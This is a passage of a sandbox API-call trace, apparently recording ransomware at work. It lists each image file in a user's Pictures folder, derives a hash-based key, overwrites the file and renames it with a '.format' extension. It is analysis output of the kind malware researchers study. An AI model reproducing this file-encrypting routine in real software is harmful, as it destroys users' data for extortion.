"c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\e_wjaqxp.jpg.format")) returned 1 [0068.019] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.019] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.020] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16c9d2a0, ftCreationTime.dwHighDateTime=0x1d4d119, ftLastAccessTime.dwLowDateTime=0x92c266b0, ftLastAccessTime.dwHighDateTime=0x1d4cf89, ftLastWriteTime.dwLowDateTime=0x92c266b0, ftLastWriteTime.dwHighDateTime=0x1d4cf89, nFileSizeHigh=0x0, nFileSizeLow=0x1043e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJWwPgUE-XZJ6.png", cAlternateFileName="MJWWPG~1.PNG")) returned 1 [0068.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\mJWwPgUE-XZJ6.png") returned=".png" [0068.020] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\mJWwPgUE-XZJ6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\mjwwpgue-xzj6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.020] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=66622) returned 1 [0068.020] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.023] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10418, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.023] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.023] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.023] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1043e, lpOverlapped=0x0) returned 1 [0068.024] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.024] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.024] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.024] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.025] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.025] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.025] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.025] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.025] GetLastError () returned 0x0 [0068.025] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.025] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.025] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10440) returned 0x32b2f40 [0068.025] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.025] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x10439, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x10439, lpOverlapped=0x0) returned 1 [0068.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.026] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1043e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0068.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0068.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.026] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0068.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0068.026] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0068.026] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.026] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.026] CloseHandle (hObject=0x5c8) returned 1 [0068.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0068.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0068.027] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\mJWwPgUE-XZJ6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\mjwwpgue-xzj6.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\mJWwPgUE-XZJ6.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\mjwwpgue-xzj6.png.format")) returned 1 [0068.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.028] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.029] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.029] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f1af3e0, ftCreationTime.dwHighDateTime=0x1d4ccce, ftLastAccessTime.dwLowDateTime=0x10c6e0a0, ftLastAccessTime.dwHighDateTime=0x1d4ce58, ftLastWriteTime.dwLowDateTime=0x10c6e0a0, ftLastWriteTime.dwHighDateTime=0x1d4ce58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W20eWw_7BDOqTilgo1fv", cAlternateFileName="W20EWW~1")) returned 1 [0068.029] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0068.029] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edab0 [0068.029] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.029] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edab0 | out: hHeap=0x5d0000) returned 1 [0068.029] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0068.029] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f7d600, ftCreationTime.dwHighDateTime=0x1d4c54a, ftLastAccessTime.dwLowDateTime=0x172f9590, ftLastAccessTime.dwHighDateTime=0x1d4ce35, ftLastWriteTime.dwLowDateTime=0x172f9590, ftLastWriteTime.dwHighDateTime=0x1d4ce35, nFileSizeHigh=0x0, nFileSizeLow=0xab8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z0-FTm5ZigO3Mdrkmc.jpg", cAlternateFileName="Z0-FTM~1.JPG")) returned 1 [0068.029] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.029] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.029] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.029] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\Z0-FTm5ZigO3Mdrkmc.jpg") returned=".jpg" [0068.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\Z0-FTm5ZigO3Mdrkmc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\z0-ftm5zigo3mdrkmc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.029] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=43915) returned 1 [0068.030] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.032] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xab65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.032] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.033] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.033] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xab8b, lpOverlapped=0x0) returned 1 [0068.033] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.033] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.033] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.033] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.034] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.034] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.034] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.034] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.034] GetLastError () returned 0x0 [0068.034] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.034] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.034] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xab90) returned 0x32b2f40 [0068.034] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.034] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.034] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xab86, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xab86, lpOverlapped=0x0) returned 1 [0068.035] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.035] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xab8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.035] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0068.035] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0068.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.035] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0068.035] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.035] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0068.035] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.035] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0068.035] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.035] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.035] CloseHandle (hObject=0x5c8) returned 1 [0068.036] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0068.036] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.036] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0068.036] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\Z0-FTm5ZigO3Mdrkmc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\z0-ftm5zigo3mdrkmc.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\Z0-FTm5ZigO3Mdrkmc.jpg.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\z0-ftm5zigo3mdrkmc.jpg.format")) returned 1 [0068.037] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.037] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.038] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f7d600, ftCreationTime.dwHighDateTime=0x1d4c54a, ftLastAccessTime.dwLowDateTime=0x172f9590, ftLastAccessTime.dwHighDateTime=0x1d4ce35, ftLastWriteTime.dwLowDateTime=0x172f9590, ftLastWriteTime.dwHighDateTime=0x1d4ce35, nFileSizeHigh=0x0, nFileSizeLow=0xab8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z0-FTm5ZigO3Mdrkmc.jpg", cAlternateFileName="Z0-FTM~1.JPG")) returned 0 [0068.038] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.038] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0068.038] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.039] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.039] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.040] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0068.040] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 